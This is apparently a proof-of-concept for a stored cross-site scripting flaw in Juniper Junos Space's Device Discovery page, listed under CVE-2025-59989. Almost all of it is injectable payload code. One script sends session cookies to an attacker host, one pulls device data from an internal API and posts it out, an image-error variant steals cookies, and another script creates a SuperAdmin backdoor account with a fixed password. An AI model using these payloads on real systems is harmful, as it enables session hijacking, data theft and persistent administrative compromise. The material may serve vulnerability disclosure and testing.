CVE-2025-59989 Juniper Junos Space 跨站脚本漏洞

<!-- CVE-2025-59989 PoC - Stored XSS in Juniper Junos Space Device Discovery Page --> <!-- This PoC demonstrates the stored XSS vulnerability in the Device Discovery feature --> <!-- Step 1: Attacker injects malicious script into a Device Discovery input field --> <!-- The following payload can be injected into fields like Device Name, IP Address, Description, etc. --> <script> // Exfiltrate session cookies to attacker's server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); // Alternatively, perform actions as the authenticated user // Example: fetch sensitive data via internal API fetch('/api/space/device-management/devices', { credentials: 'include', method: 'GET' }) .then(response => response.json()) .then(data => { // Send exfiltrated data to attacker's server fetch('https://attacker.example.com/exfil', { method: 'POST', body: JSON.stringify(data) }); }); </script> <!-- Alternative payload using event handlers for more stealthy execution --> <img src=x onerror="fetch('https://attacker.example.com/steal?cookie='+document.cookie)"> <!-- Payload to perform privileged actions (e.g., create admin account) --> <script> fetch('/api/space/user-management/users', { credentials: 'include', method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'attacker_backdoor', password: 'P@ssw0rd123!', role: 'SuperAdmin' }) }); </script>